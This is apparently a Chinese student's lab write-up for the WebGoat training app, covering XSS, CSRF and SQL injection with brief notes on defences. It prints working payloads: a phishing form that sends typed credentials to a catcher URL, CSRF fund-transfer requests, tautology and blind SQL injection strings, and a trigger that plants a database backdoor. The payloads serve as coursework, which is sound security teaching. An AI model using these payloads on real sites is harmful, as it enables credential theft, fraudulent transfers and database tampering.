20145208 蔡野 《网络对抗》Exp9 web安全基础实践
2017-05-08 21:13
351 查看
20145208 蔡野 《网络对抗》Exp9 web安全基础实践
本实践的目标理解常用网络攻击技术的基本原理。Webgoat实践下相关实验。实验后回答问题
(1)SQL注入攻击原理,如何防御攻击原理:利用输入的机会构造自己期望的请求,比如破坏掉用户名或者密码验证进行登录,还有对数据库增删查改的基本操作。
防御:利用输入规则限制进行防御,不允许特殊字符输入
(2)XSS攻击的原理,如何防御
攻击原理:XSS又称CSS,全称Cross SiteScript,跨站脚本攻击,XSS攻击类似于SQL注入攻击,将攻击代码写在url或者数据库存储里面,诱使别人访问从而运行代码。
防御:和sql注入防御类似(永远不相信用户的输入)。需要对用户的输入进行处理,只允许输入合法的值,其它值一概过滤掉。如果有时候不能过滤的话,就将敏感的字符进行替换,让代码失去本来的样子,在读取的时候在替换回来。
(3)CSRF攻击原理,如何防御
攻击原理:CSRF全名是Cross-site request forgery,是一种对网站的恶意利用,CSRF比XSS更具危险性。CSRF可以劫持会话和cookie来冒名进行 一些操作,比如实验中的转账。
防御:通过验证码来检测用户提交,尽量不要在页面的链接中暴露用户隐私信息,对于用户修改删除等操作最好都使用post 操作 ,避免全站通用的cookie,严格设置cookie的域。
实验总结与体会
感觉sql注入和xxs攻击都很好很强大,做的有点停不下来,感觉特别有用!一口气做了12个,剩下的自己有时间再做,先把博客发了。实践过程
webgoat安装
这部分在老师的指导(就指导了安装这一个事情)和周岐浩的博客里面说的很清楚,可以直接参考,我也不多做说明了。ps:校网下载安装包是真的慢。。。还经常出现错误下载终止逼得我开流量下载了。我把下载好的安装包上传到网盘分享在这里,有需要的可以下载一些,虽然百度网盘也不快下载链接。放心,链接没有sql注入什么的~
实践过程
XSS注入攻击
Phishing with XSS
这个很简单,就是在文本框里面写一个钓鱼网站代码就可以了</form> <script> function hack(){ XSSImage=new Image; XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + ""; alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value); } </script> <form name="phish"> <br> <br> <HR> <H2>This feature requires account login:</H2> <br> <br>Enter Username:<br> <input type="text" name="user"> <br>Enter Password:<br> <input type="password" name = "pass"> <br> <input type="submit" name="login" value="login" onclick="hack()"> </form> <br> <br> <HR>
提交后如图:
成功!
Stored XSS Attacks
这个超简单,在message里面随便输入点什么让别人不愉快的东西就可以了,比如一个玩笑弹窗<script> alert("Had this been a real attack...hehe just joke"); </script>
效果如图:
Reflected XSS Attacks
根据题意和提示在下面文本框中输入http://www.targetserver.com/search.asp?input=<script>alert("hello");</script>,我选择的最后一个文本框输入
提交后入图弹出来窗口:
看上去和上面很类似,但是原理不同,上面的是存储式的,这个是通过写在url里面达到的效果,里面的脚本也可以改写成其他恶意的内容
CSRF攻击
Cross Site Request Forgery (CSRF)
这个实践是利用cookie冒名登录,用代码伪造请求在message里面输入
<img src=' attack?Screen=自己网站的scr &menu=自己网站的menu &transferFunds=转钱数额 ' width='1' height='1'>就会发出一个转钱的请求,盗取钱财。
CSRF Prompt By-Pass
这个就是利用CSRF进行冒名操作转账,填入message的代码如下:```
<iframe
src="attack?Screen=273&menu=900&transferFunds=5000"
id="myFrame" frameborder="1" marginwidth="0"
marginheight="0" width="800" scrolling=yes height="300"
onload="document.getElementById('frame2').src='attack?Screen=282&menu=900&transferFunds=CONFIRM';">
```
SQL注入攻击
Numeric SQL Injection
老师课上没做出来的,用老师的步骤一下子就成功了,看来是老师电脑今天不配合,挽尊!Log Spoofing
利用换行符伪造一个假的日志信息,欺骗人眼。String SQL Injection
这个就是之前网页sql注入的方法,在输入名字那里构造永真式,输入'or 1='1:
SQL Injection
Stage 1 String SQL Injection在密码栏中输入
' or 1=1 --来让密码规则破坏,但是登录不成功,抓包发现密码字段变了:
发现问题在这,有长度限制,修改一下重新尝试成功了管理员neville:
Stage 3 Numeric SQL Injection
这里要求我们登陆larry后能浏览Neville的profile信息,登陆larry后,可以发现能浏览员工信息的就是ViewProfile按钮,我们抓包分析这个按钮提交的参数:
然后将id字段改成
101 or 1=1 order by salary desc --走一下,回到网页发现成功了:
Database Backdoors
第一步,通过输入101; update employee set salary=70000来给id为101的人改工资(真好!):
第二步:留一个后门,让所有新用户的邮箱都是我的,工资都邮到我这里来吧!
101;CREATE TRIGGER myBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email='caiye@qq.com' WHERE userid = NEW.userid
Blind Numeric SQL Injection
我们知道一个cc_number=1111222233334444,但是想知道其pin在pins表里的值,可以使用盲注进行爆破,输入101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') > 10000 );
然后使用BP进行拦截,拦截后action--send to intruder进行爆破,使用sniper模式,选择10000进行数字爆破(选择前先clear将默认的爆破点清除),从1到10000,步长为1,时间会很久:
可以发现返回报文的长度从2364开始改变了,所以尝试用2364进行请求,返回成功.那么其pin就为2364,输入2364,成功!
Blind String SQL Injection
跟上面的那个盲注入类似,猜测cc_number='4321432143214321'的用户名,使用了SQL里的
SUBSTRING这个函数,每一个字母进行爆破,原理和数字盲注一样:
101 AND (SUBSTRING((SELECT name FROM pins WHERE cc_number='4321432143214321'), 1, 1) = 'h' );
因为有两个爆破点,一个是SubString函数的第二个参数,一个是字母h,所以使用Cluster Bomb进行爆破
爆破点1 是1-10 10个可能性
爆破点2 是a-z和A-Z 52个可能性,
一共520种组合,时间还算可以接受:
可以发现规律,正常是数字为10时报文长度为1334,因为10比1-9多一位;但有一些不是10报文长度也是1334,查看返回报文是Account number is valid,即有效账户,所以爆破得到了账户名。
用户名是通过上图结果拼接而成,前面的数字代表后门字母在用户名中的位置:
相关文章推荐
- 20145208蔡野 《网络对抗》逆向及BOF基础实践
- 20145316《网络对抗》Exp9 Web安全基础实践学习总结
- 20145301赵嘉鑫 《网络对抗》Exp9 Web安全基础实践
- 20145310《网络对抗》Exp9 Web安全基础实践
- 20145303刘俊谦 《网络对抗》Exp9 Web安全基础实践
- 20145209刘一阳《网络对抗》Exp9 Web安全基础实践
- 20145233《网络对抗》Exp9 Web安全基础实践
- 20145215《网络对抗》Exp9 Web安全基础实践
- 20145307陈俊达《网络对抗》Exp9 Web安全基础实践
- 20145317彭垚《网络对抗》Exp9 Web安全基础实践
- 20145235李涛《网络对抗》Exp9 Web安全基础实践
- 20145208 蔡野《网络对抗》Exp3 Advanced 恶意代码伪装技术实践
- 20145208 蔡野 《网络对抗》Exp8 Web基础
- 20145208 蔡野 《网络对抗》Exp5 MSF基础应用
- 20145330 《网络对抗》 Web安全基础实践
- 20145231熊梓宏 《网络对抗》 实验9 Web安全基础实践
- 20145239杜文超《网络对抗》- Web安全基础实践
- 20145201李子璇 《网络对抗》 Web安全基础实践
- 20145208 蔡野 《网络对抗》Exp7 网络欺诈技术防范
- 20145304 Exp9 Web安全基础实践